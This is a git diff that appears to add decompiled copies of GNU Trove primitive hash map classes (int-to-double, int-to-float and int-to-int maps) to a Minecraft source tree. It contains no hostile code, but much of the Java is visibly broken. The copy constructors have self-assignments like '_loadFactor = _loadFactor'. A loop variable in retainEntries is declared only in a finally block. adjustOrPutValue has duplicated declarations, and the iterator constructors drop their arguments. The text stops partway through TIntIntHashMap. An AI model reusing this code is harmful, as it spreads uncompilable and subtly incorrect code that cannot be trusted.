+    TIntDoubleKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TIntDoubleValueHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    TIntDoubleValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public double next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TIntDoubleHashIterator
+    extends THashPrimitiveIterator
+    implements TIntDoubleIterator
+  {
+    TIntDoubleHashIterator(TIntDoubleHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public int key()
+    {
+      return _set[_index];
+    }
+    
+    public double value()
+    {
+      return _values[_index];
+    }
+    
+    public double setValue(double val)
+    {
+      double old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TIntDoubleMap)) {
+      return false;
+    }
+    TIntDoubleMap that = (TIntDoubleMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    double[] values = _values;
+    byte[] states = _states;
+    double this_no_entry_value = getNoEntryValue();
+    double that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        int key = _set[i];
+        double that_value = that.get(key);
+        double this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TIntDoubleProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(int key, double value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeInt(_set[i]);
+        out.writeDouble(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      int key = in.readInt();
+      double val = in.readDouble();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TIntFloatHashMap.java b/src/minecraft/gnu/trove/map/hash/TIntFloatHashMap.java
new file mode 100644
index 0000000..7568ca0
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TIntFloatHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TIntFloatHash;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.iterator.TIntFloatIterator;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.map.TIntFloatMap;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TIntFloatProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TIntSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntFloatHashMap
+  extends TIntFloatHash
+  implements TIntFloatMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient float[] _values;
+  
+  public TIntFloatHashMap() {}
+  
+  public TIntFloatHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntFloatHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TIntFloatHashMap(int initialCapacity, float loadFactor, int noEntryKey, float noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TIntFloatHashMap(int[] keys, float[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TIntFloatHashMap(TIntFloatMap map)
+  {
+    super(map.size());
+    if ((map instanceof TIntFloatHashMap)) {
+      TIntFloatHashMap hashmap = (TIntFloatHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0.0F) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    int[] oldKeys = _set;
+    float[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new int[newCapacity];
+    _values = new float[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        int o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public float put(int key, float value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public float putIfAbsent(int key, float value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private float doPut(int key, float value, int index)
+  {
+    float previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Integer, ? extends Float> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Integer, ? extends Float> entry : map.entrySet()) {
+      put(((Integer)entry.getKey()).intValue(), ((Float)entry.getValue()).floatValue());
+    }
+  }
+  
+
+  public void putAll(TIntFloatMap map)
+  {
+    ensureCapacity(map.size());
+    TIntFloatIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public float get(int key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public float remove(int key)
+  {
+    float prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TIntSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public int[] keys()
+  {
+    int[] keys = new int[size()];
+    int[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public int[] keys(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TFloatCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public float[] values()
+  {
+    float[] vals = new float[size()];
+    float[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public float[] values(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(float val)
+  {
+    byte[] states = _states;
+    float[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(int key)
+  {
+    return contains(key);
+  }
+  
+
+  public TIntFloatIterator iterator()
+  {
+    return new TIntFloatHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TIntProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TIntFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] keys = _set;
+    float[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TFloatFunction function)
+  {
+    byte[] states = _states;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TIntFloatProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    int[] keys = _set;
+    float[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(int key)
+  {
+    return adjustValue(key, 1.0F);
+  }
+  
+
+  public boolean adjustValue(int key, float amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public float adjustOrPutValue(int key, float adjust_amount, float put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    float newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      float newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TIntSet
+  {
+    protected TKeyView() {}
+    
+    public TIntIterator iterator()
+    {
+      return new TIntFloatHashMap.TIntFloatKeyHashIterator(TIntFloatHashMap.this, TIntFloatHashMap.this);
+    }
+    
+
+    public int getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(int entry)
+    {
+      return TIntFloatHashMap.this.contains(entry);
+    }
+    
+
+    public int[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public int[] toArray(int[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(int entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(int entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(int[] array)
+    {
+      for (int element : array) {
+        if (!TIntFloatHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TIntFloatHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TIntSet)) {
+        return false;
+      }
+      TIntSet that = (TIntSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TFloatCollection
+  {
+    protected TValueView() {}
+    
+    public TFloatIterator iterator()
+    {
+      return new TIntFloatHashMap.TIntFloatValueHashIterator(TIntFloatHashMap.this, TIntFloatHashMap.this);
+    }
+    
+
+    public float getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(float entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public float[] toArray()
+    {
+      return values();
+    }
+    
+
+    public float[] toArray(float[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(float entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(float entry)
+    {
+      float[] values = _values;
+      int[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TIntFloatHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TIntFloatKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
+    TIntFloatKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TIntFloatValueHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    TIntFloatValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TIntFloatHashIterator
+    extends THashPrimitiveIterator
+    implements TIntFloatIterator
+  {
+    TIntFloatHashIterator(TIntFloatHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public int key()
+    {
+      return _set[_index];
+    }
+    
+    public float value()
+    {
+      return _values[_index];
+    }
+    
+    public float setValue(float val)
+    {
+      float old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TIntFloatMap)) {
+      return false;
+    }
+    TIntFloatMap that = (TIntFloatMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    float[] values = _values;
+    byte[] states = _states;
+    float this_no_entry_value = getNoEntryValue();
+    float that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        int key = _set[i];
+        float that_value = that.get(key);
+        float this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TIntFloatProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(int key, float value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeInt(_set[i]);
+        out.writeFloat(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      int key = in.readInt();
+      float val = in.readFloat();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TIntIntHashMap.java b/src/minecraft/gnu/trove/map/hash/TIntIntHashMap.java
new file mode 100644
index 0000000..4d634c0
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TIntIntHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TIntIntHash;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TIntIntIterator;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.map.TIntIntMap;
+import gnu.trove.procedure.TIntIntProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TIntSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntIntHashMap
+  extends TIntIntHash
+  implements TIntIntMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient int[] _values;
+  
+  public TIntIntHashMap() {}
+  
+  public TIntIntHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntIntHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TIntIntHashMap(int initialCapacity, float loadFactor, int noEntryKey, int noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TIntIntHashMap(int[] keys, int[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TIntIntHashMap(TIntIntMap map)
+  {
+    super(map.size());
+    if ((map instanceof TIntIntHashMap)) {
+      TIntIntHashMap hashmap = (TIntIntHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    int[] oldKeys = _set;
+    int[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new int[newCapacity];
+    _values = new int[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        int o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public int put(int key, int value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public int putIfAbsent(int key, int value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private int doPut(int key, int value, int index)
+  {
+    int previous = no_entry_value;
